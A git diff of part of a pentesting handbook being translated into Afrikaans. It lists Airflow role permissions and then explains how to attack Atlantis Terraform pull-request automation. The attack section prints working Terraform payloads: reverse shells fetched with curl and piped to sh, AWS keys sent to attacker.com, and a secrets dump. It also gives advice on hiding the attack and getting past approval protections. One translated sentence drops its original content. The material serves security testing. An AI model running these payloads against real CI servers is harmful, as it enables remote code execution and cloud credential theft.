Instances, kan skep op Task Instances, kan verwyder op Task Instances, menu toegang op Admin, menu toegang op Configurations, menu toegang op Connections, menu toegang op Pools, menu toegang op Variables, menu toegang op XComs, kan verwyder op XComs, kan lees op Task Reschedules, menu toegang op Task Reschedules, kan lees op Triggers, menu toegang op Triggers, kan lees op Passwords, kan wysig op Passwords, menu toegang op List Users, menu toegang op Security, menu toegang op List Roles, kan lees op User Stats Chart, menu toegang op User's Statistics, menu toegang op Base Permissions, kan lees op View Menus, menu toegang op Views/Menus, kan lees op Permission Views, menu toegang op Permission on Views/Menus, kan kry op MenuApi, menu toegang op Providers, kan skep op XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[kan verwyder op Connections, kan lees op Connections, kan wysig op Connections, kan skep op Connections, kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan verwyder op Pools, kan lees op Pools, kan wysig op Pools, kan skep op Pools, kan lees op Providers, kan verwyder op Variables, kan lees op Variables, kan wysig op Variables, kan skep op Variables, kan lees op XComs, kan lees op DAG Code, kan lees op Configurations, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances, kan skep op Task Instances, kan verwyder op Task Instances, menu toegang op Admin, menu toegang op Configurations, menu toegang op Connections, menu toegang op Pools, menu toegang op Variables, menu toegang op XComs, kan verwyder op XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[kan lees op DAGs, kan wysig op DAGs, kan verwyder op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan wysig op Task Instances, kan verwyder op DAG Runs, kan skep op DAG Runs, kan wysig op DAG Runs, kan lees op Audit Logs, kan lees op ImportError, kan lees op XComs, kan lees op DAG Code, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances, kan skep op Task Instances, kan verwyder op Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[kan lees op DAGs, kan lees op DAG Runs, kan lees op Task Instances, kan lees op Audit Logs, kan lees op ImportError, kan lees op XComs, kan lees op DAG Code, kan lees op Plugins, kan lees op DAG Dependencies, kan lees op Jobs, kan lees op My Password, kan wysig op My Password, kan lees op My Profile, kan wysig op My Profile, kan lees op SLA Misses, kan lees op Task Logs, kan lees op Website, menu toegang op Browse, menu toegang op DAG Dependencies, menu toegang op DAG Runs, menu toegang op Documentation, menu toegang op Docs, menu toegang op Jobs, menu toegang op Audit Logs, menu toegang op Plugins, menu toegang op SLA Misses, menu toegang op Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,111 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
Atlantis help jou basies om terraform vanaf Pull Requests van jou git bediener te laat loop.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
### Plaaslike Laboratorium
|
||||
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
1. Gaan na die **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) en **aflaai** die een wat vir jou geskik is.
|
||||
2. Skep 'n **persoonlike token** (met repo toegang) van jou **github** gebruiker.
|
||||
3. Voer `./atlantis testdrive` uit en dit sal 'n **demo repo** skep wat jy kan gebruik om **met atlantis te kommunikeer**.
|
||||
1. Jy kan die webblad in 127.0.0.1:4141 toegang.
|
||||
|
||||
### Atlantis Access
|
||||
### Atlantis Toegang
|
||||
|
||||
#### Git Server Credentials
|
||||
#### Git Bediener Kredensiale
|
||||
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
**Atlantis** ondersteun verskeie git gashere soos **Github**, **Gitlab**, **Bitbucket** en **Azure DevOps**.\
|
||||
Echter, om toegang tot die repos in daardie platforms te verkry en aksies uit te voer, moet dit 'n paar **bevoorregte toegang gegee word** (ten minste skryf regte).\
|
||||
[**Die dokumentasie**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) moedig aan om 'n gebruiker in hierdie platforms spesifiek vir Atlantis te skep, maar sommige mense mag persoonlike rekeninge gebruik.
|
||||
|
||||
> [!WARNING]
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
> In enige geval, vanuit 'n aanvaller se perspektief, gaan die **Atlantis rekening** een baie **interessante** **te kompromitteer** wees.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
Atlantis gebruik opsioneel [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) om te verifieer dat die **webhooks** wat dit van jou Git gashere ontvang **legitiem** is.
|
||||
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
Een manier om dit te bevestig, sou wees om **slegs versoeke van die IP's** van jou Git gashere toe te laat, maar 'n makliker manier is om 'n Webhook Secret te gebruik.
|
||||
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
Let daarop dat tensy jy 'n private github of bitbucket bediener gebruik, jy webhooks eindpunte aan die internet moet blootstel.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
> Atlantis gaan **webhooks blootstel** sodat die git bediener dit inligting kan stuur. Vanuit 'n aanvaller se perspektief sou dit interessant wees om te weet **of jy dit boodskappe kan stuur**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Verskaffer Kredensiale <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[Van die dokumentasie:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
Atlantis loop Terraform deur eenvoudig **`terraform plan` en `apply`** op die bediener **waarop Atlantis gehost word**. Net soos wanneer jy Terraform plaaslik loop, benodig Atlantis kredensiale vir jou spesifieke verskaffer.
|
||||
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
Dit is aan jou hoe jy [kredensiale verskaf](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) vir jou spesifieke verskaffer aan Atlantis:
|
||||
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
- Die Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) en [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) het hul eie meganismes vir verskaffer kredensiale. Lees hul dokumentasie.
|
||||
- As jy Atlantis in 'n wolk loop, het baie wolke maniere om wolk API toegang aan toepassings wat daarop loop te gee, bv:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Soek vir "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Baie gebruikers stel omgewing veranderlikes in, bv. `AWS_ACCESS_KEY`, waar Atlantis loop.
|
||||
- Ander skep die nodige konfigurasie lêers, bv. `~/.aws/credentials`, waar Atlantis loop.
|
||||
- Gebruik die [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) om verskaffer kredensiale te verkry.
|
||||
|
||||
> [!WARNING]
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
> Die **houer** waar **Atlantis** **loop** gaan hoogs waarskynlik **bevoorregte kredensiale** vir die verskaffers (AWS, GCP, Github...) wat Atlantis via Terraform bestuur, bevat.
|
||||
|
||||
#### Web Page
|
||||
#### Webblad
|
||||
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
Standaard sal Atlantis 'n **webblad op poort 4141 in localhost** laat loop. Hierdie bladsy laat jou net toe om atlantis toep te laat of nie en die planstatus van die repos te kontroleer en hulle te ontgrendel (dit laat nie toe om dinge te verander nie, so dit is nie so nuttig nie).
|
||||
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
Jy sal waarskynlik nie vind dat dit aan die internet blootgestel is nie, maar dit lyk of standaard **geen kredensiale benodig word** om toegang te verkry nie (en as hulle is, is `atlantis`:`atlantis` die **standaard** een).
|
||||
|
||||
### Server Configuration
|
||||
### Bediener Konfigurasie
|
||||
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
Konfigurasie vir `atlantis server` kan gespesifiseer word via opdraglyn vlae, omgewing veranderlikes, 'n konfigurasie lêer of 'n mengsel van die drie.
|
||||
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Jy kan [**hier die lys van vlae**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) wat deur Atlantis bediener ondersteun word, vind.
|
||||
- Jy kan [**hier vind hoe om 'n konfigurasie opsie in 'n omgewing veranderlike te transformeer**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
|
||||
Values are **chosen in this order**:
|
||||
Waardes word **in hierdie volgorde gekies**:
|
||||
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
1. Vlae
|
||||
2. Omgewing Veranderlikes
|
||||
3. Konfigurasie Lêer
|
||||
|
||||
> [!WARNING]
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
> Let daarop dat jy in die konfigurasie dalk interessante waardes soos **tokens en wagwoorde** mag vind.
|
||||
|
||||
#### Repos Configuration
|
||||
#### Repos Konfigurasie
|
||||
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
Sommige konfigurasies beïnvloed **hoe die repos bestuur word**. Dit is egter moontlik dat **elke repo verskillende instellings vereis**, so daar is maniere om elke repo spesifiek te spesifiseer. Dit is die prioriteitsorde:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) lêer. Hierdie lêer kan gebruik word om te spesifiseer hoe atlantis die repo moet hanteer. Echter, standaard kan sommige sleutels nie hier gespesifiseer word nie sonder sommige vlae wat dit toelaat.
|
||||
1. Waarskynlik vereis om deur vlae soos `allowed_overrides` of `allow_custom_workflows` toegelaat te word.
|
||||
2. [**Bediener Kante Konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Jy kan dit met die vlag `--repo-config` deurgee en dit is 'n yaml wat nuwe instellings vir elke repo konfigureer (regexes ondersteun).
|
||||
3. **Standaard** waardes.
|
||||
|
||||
**PR Protections**
|
||||
**PR Beskerming**
|
||||
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
Atlantis laat toe om aan te dui of jy wil hê die **PR** moet **`goedgekeur`** word deur iemand anders (selfs al is dit nie in die tak beskerming ingestel nie) en/of **`mergable`** wees (tak beskermings geslaag) **voor die toep van toepassing is**. Vanuit 'n sekuriteitsoogpunt is dit aanbeveel om albei opsies in te stel.
|
||||
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
In die geval dat `allowed_overrides` waar is, kan hierdie instelling **op elke projek oorgeskryf word deur die `/atlantis.yml` lêer**.
|
||||
|
||||
**Scripts**
|
||||
**Skripte**
|
||||
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
Die repo konfigurasie kan **skripte spesifiseer** om [**voor**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) en [**na**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) 'n **workflow uitgevoer word.**
|
||||
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
Daar is geen opsie om **hierdie skripte in die **repo `/atlantis.yml`** lêer te spesifiseer nie.
|
||||
|
||||
**Workflow**
|
||||
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
In die repo konfigurasie (bediener kant konfigurasie) kan jy [**'n nuwe standaard workflow spesifiseer**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), of [**nuwe pasgemaakte workflows skep**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Jy kan ook **spesifiseer** watter **repos** toegang kan hê tot die **nuwe** wat gegenereer is.\
|
||||
Dan kan jy die **atlantis.yaml** lêer van elke repo toelaat om **die workflow te spesifiseer wat gebruik moet word.**
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> As die [**bediener kant konfigurasie**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) vlag `allow_custom_workflows` op **Waar** gestel is, kan workflows in die **`atlantis.yaml`** lêer van elke repo **gespesifiseer** word. Dit is ook potensieel nodig dat **`allowed_overrides`** ook **`workflow`** spesifiseer om die workflow wat gebruik gaan word te **oorgeskryf**.\
|
||||
> Dit sal basies **RCE in die Atlantis bediener aan enige gebruiker wat toegang tot daardie repo kan kry, gee**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Conftest Policy Checking**
|
||||
**Conftest Beleid Kontrole**
|
||||
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
Atlantis ondersteun die uitvoering van **bediener-kant** [**conftest**](https://www.conftest.dev/) **beleide** teen die plan uitvoer. Algemene gebruiksgevalle vir hierdie stap sluit in:
|
||||
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
- Ontkenning van die gebruik van 'n lys van modules.
|
||||
- Bevestiging van eienskappe van 'n hulpbron tydens die skepping.
|
||||
- Vang onbedoelde hulpbron verwyderings.
|
||||
- Voorkoming van sekuriteitsrisiko's (bv. blootstelling van veilige poorte aan die publiek).
|
||||
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
Jy kan kyk hoe om dit te konfigureer in [**die dokumentasie**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
### Atlantis Opdragte
|
||||
|
||||
[**In die dokumentasie**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) kan jy die opsies vind wat jy kan gebruik om Atlantis te laat loop:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
|
||||
### Attacks
|
||||
### Aanvalle
|
||||
|
||||
> [!WARNING]
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
> As jy tydens die ontginning hierdie **fout** vind: `Error: Error acquiring the state lock`
|
||||
|
||||
Jy kan dit regmaak deur te hardloop:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Konfigurasie wysiging in nuwe PR
|
||||
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis plan`** kan **uitvoer** (of miskien word dit outomaties uitgevoer), **sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
|
||||
|
||||
Jy kan dit doen deur [**Atlantis 'n eksterne databron te laat laai**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Sit net 'n payload soos die volgende in die `main.tf` lêer:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Stealthier Aanval**
|
||||
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Jy kan hierdie aanval selfs op 'n **stealthier manier** uitvoer deur hierdie voorstelle te volg:
|
||||
|
||||
- In plaas daarvan om die rev shell direk in die terraform-lêer te voeg, kan jy 'n **eksterne hulpbron** laai wat die rev shell bevat:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
U kan die rev shell kode vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
- In die eksterne hulpbron, gebruik die **ref** kenmerk om die **terraform rev shell kode in 'n tak** binne die repo te verberg, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **In plaas daarvan** om 'n **PR na meester** te skep om Atlantis te aktiveer, **skep 2 takke** (test1 en test2) en skep 'n **PR van een na die ander**. Wanneer jy die aanval voltooi het, verwyder eenvoudig die **PR en die takke**.
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
#### Atlantis plan Geheimen Dump
|
||||
|
||||
U kan **geheimen wat deur terraform gebruik word** dump deur `atlantis plan` (`terraform plan`) te loop deur iets soos dit in die terraform-lêer te plaas:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis toepas RCE - Konfigurasie wysiging in nuwe PR
|
||||
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
As jy skrywe toegang oor 'n repository het, sal jy in staat wees om 'n nuwe tak daarop te skep en 'n PR te genereer. As jy **`atlantis apply` kan uitvoer, sal jy in staat wees om RCE binne die Atlantis bediener te hê**.
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
Jy sal egter gewoonlik sommige beskermings moet omseil:
|
||||
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
- **Mergeable**: As hierdie beskerming in Atlantis gestel is, kan jy slegs **`atlantis apply` uitvoer as die PR mergeable is** (wat beteken dat die tak beskerming omseil moet word).
|
||||
- Kontroleer potensiële [**tak beskerming omseilings**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Goedgekeurd**: As hierdie beskerming in Atlantis gestel is, moet 'n **ander gebruiker die PR goedkeur** voordat jy `atlantis apply` kan uitvoer.
|
||||
- Standaard kan jy die [**Gitbot token misbruik om hierdie beskerming om te seil**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Voer **`terraform apply` uit op 'n kwaadwillige Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Jy moet net seker maak dat 'n payload soos die volgende in die `main.tf` lêer eindig:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
Volg die **voorstelle van die vorige tegniek** om hierdie aanval op 'n **stealthier manier** uit te voer.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
Wanneer jy `atlantis plan` of `atlantis apply` uitvoer, word terraform onder-needs uitgevoer, jy kan opdragte aan terraform deur atlantis deur iets soos te kommentaar:
